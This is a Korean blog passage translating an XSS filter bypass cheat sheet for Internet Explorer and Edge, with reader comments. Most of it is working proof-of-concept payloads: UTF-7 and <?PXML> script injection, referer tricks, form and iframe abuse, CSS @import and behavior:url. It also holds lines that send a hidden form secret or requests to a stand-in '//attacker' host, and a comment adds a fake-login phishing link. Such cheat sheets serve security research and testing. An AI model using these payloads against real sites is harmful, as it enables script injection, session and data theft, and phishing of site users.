(이 동작은 2013년 7월에 Microsoft에 보고하였으나 아직 패치되지 않음)

PoC:

(페이지에 언어셋 지정이 없는 경우)
https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-

+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-
XXXOXX

(페이지에 언어셋 지정이 있는 경우 )
https://l0.cm/bypass/ie_utf7.html

<script>
function go(){
  window.open("https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(location)%2BADw-/script%2BAD4-&charset=utf-8","a");
  setTimeout(function(){window.open("https://l0.cm/h_back.html","a")},1000);
}
</script>
<button onclick=go()>go</button>
XXXOXX

<?PXML>을 사용

공격 가능 조건:

  1. Reflected XSS 취약점이 존재
  2. <?PXML> 태그 앞에 < 가 2개 이하로 존재
  3. 페이지에 document mode가 9 이하로 설정되어 있거나 프레임에서 embed 태그 등을 통해 document mode가 9 이하로 설정됨

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9

<?PXML><html:script>alert(1)</html:script>
XXXOXX

https://vulnerabledoma.in/bypass/text?q=%3CPXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9

<PXML><html:script>alert(1)</html:script>
XXXOXX

referer를 사용

IE/Edge는 같은 도메인(서브도메인 포함) 또는 localhost로부터의 Referer 헤더가 존재하는 경우, XSS 필터가 동작하지 않음.
이러한 referer를 삽입할 수 있는 경우 XSS 필터를 우회할 수 있음

같은 도메인(서브도메인 포함) 내에 있는 링크 사용

공격 가능 조건:

  1. Reflected XSS 취약점이 존재
  2. 같은 도메인(서브도메인 포함)에서 XSS 페이지를 가리키는 링크를 만들 수 있음

PoC:

<a href="https://vulnerabledoma.in/bypass/text?q=<script>alert(1)</script>">Click HERE</a>
XOOOXX

2중으로 링크를 걸어 referer 생성

공격 가능 조건:

  1. 링크를 통한 Reflected XSS 취약점이 존재

보충:

이중으로 링크를 걸어 해당 도메인에서의 referer를 생성해주는 방법으로 javascript:alert() 처럼 XSS필터 우회가 가능。

PoC:

https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)

<a href="?q=javascript%3Aalert(1)">Link</a>
OOOOOO

취약한 form의 전송 이전의 상태를 조작 가능한 경우

공격 가능 조건:

  1. Reflected XSS 취약점이 존재

PoC:

https://vulnerabledoma.in/bypass/form?q=%26%23×22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23×28%3B1)%26%23x3C%3B/script%3E

<form action="form">
<input type="hidden" name="q" value="&#x22;>&#x3C;script>alert&#x28;1)&#x3C;/script>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>
XOOOXX

option태그의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. form내에 XSS 취약점이 존재

참고URL:

PoC:

https://vulnerabledoma.in/bypass/form3?q=%3Cbutton%20formaction=form3%3ECLICK%3Cselect%20name=q%3E%3Coption%3E%26lt%3Bscript%3Ealert(1)%26lt%3B/script%3E

<form action=submit>
<button formaction=form3>CLICK<select name=q><option>&lt;script>alert(1)&lt;/script>
</form>
XOOOXX

비어있는 iframe태그의 사용

공격 가능 조건:

  1. 임의의 태그를 쓸 수 있는 XSS 취약점이 존재
  2. 페이지가 프레임 태그를 허용함

보충:

XSS로 빈 iframe을 만들고 만들어진 프레임의 src를 자바스크립트 코드로 하면,
취약점이 존재하는 도메인 자신의 referer가 붙기 때문에 우회가 가능

참고URL:

PoC:

https://l0.cm/bypass/ieedge_iframe.html

<!-- Found by @magicmac2000 -->
<iframe onload="contentWindow[0].location='//vulnerabledoma.in/bypass/text?q=<script>alert(location)</script>'"
src="//vulnerabledoma.in/bypass/text?q=%3Ciframe%3E"></iframe>
XOOOXX

formaction의 사용 (민감 정보 취득 가능)

공격 가능 조건:

  1. Reflected XSS 취약점이 존재
  2. 민감 정보가 포함된 기존의 form 태그의 action값을 대신할 formaction 속성을 쓸 수 있음

PoC:

https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/%3E

<form action="form">
<input type="hidden" name="q" value=""><button formaction=//attacker/>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>
XOOOXO

CSS의 참조 구문 이용(CSS 값 조작 가능시)

공격 가능 조건:

  1. Reflected XSS 취약점이 존재
  2. CSS의 값을 조작할 수 있음

보충:

CSS나 SVG에서 특수문자(@, :, \, ()를 사용할 수 있을 때 import 구문을 사용해 악의적인 Request를 발생시킬 수 있음
IE에서는 behavior:url()함수를 사용해 자바스크립트의 실행도 가능함

참고URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E%26commat%3Bimport’//attacker’%3C/style%3E

<svg><style>&commat;import'//attacker'</style>
OOOOOX

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E@%26bsol%3B0069mport%27//attacker%27%3C/style%3E

<svg><style>@&bsol;0069mport'//attacker'</style>
OOOOOX

https://vulnerabledoma.in/bypass/text?q=%3Cp%20style=”behavior%26colon%3Burl(‘/bypass/usercontent/xss.txt’)”%3Etest&xuac=10

<p style="behavior&colon;url('/bypass/usercontent/xss.txt')">
XXXOXX

https://vulnerabledoma.in/bypass/text?q=%3Cp%20style=”behavior:url%26lpar%3B’/bypass/usercontent/xss.txt’)”%3Etest&xuac=10

<p style="behavior:url&lpar;'/bypass/usercontent/xss.txt')">
XXXOXX

마치며…
번역을 성심껏 도와준 hiki에게 감사를 표한다.
이 문서가 대한민국의 웹해커들이 새로운 경지를 개척할 수 있는 단서가 되길 바란다.

원글 :

https://github.com/masatokinugawa/filterbypass/wiki/Browser’s-XSS-Filter-Bypass-Cheat-Sheet

5 Comments

  • 너무 감사합니다

    안녕하세요!
    너무 잘 정리해주셔서 감사드립니다 ㅠㅠ

    하나 질문 드리고 싶은게 있어서 댓글 남겨봅니다.

    ————————————————————————————————————————————————————
    다음은 스크립트의 실행은 불가능하지만 악용의 가능성이 존재하는 기법임

    http(s):링크 만들기
    https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E
    ————————————————————————————————————————————————————
    라고 작성해주셨는데, 해당 기법도 XSS 공격 범주에 속할 수 있는건가요?
    이 공격의 명칭은 정확히 어떻게 분류를 해야할까요?

    • rubiya

      “태그의 사용이 가능” 자체로는 취약점이 아닙니다.
      다만 Referrer 를 검사하는 CSRF 미티게이션 등 제한적인 상황에서 체이닝하여 사용할 수 있습니다.
      덧붙여 <img src=https://attacker/> 와 같은 태그를 통해 클릭 없이도 Referrer가 포함된 요청을 만들어낼 수 있습니다.

Leave a Reply

Your email address will not be published. Required fields are marked *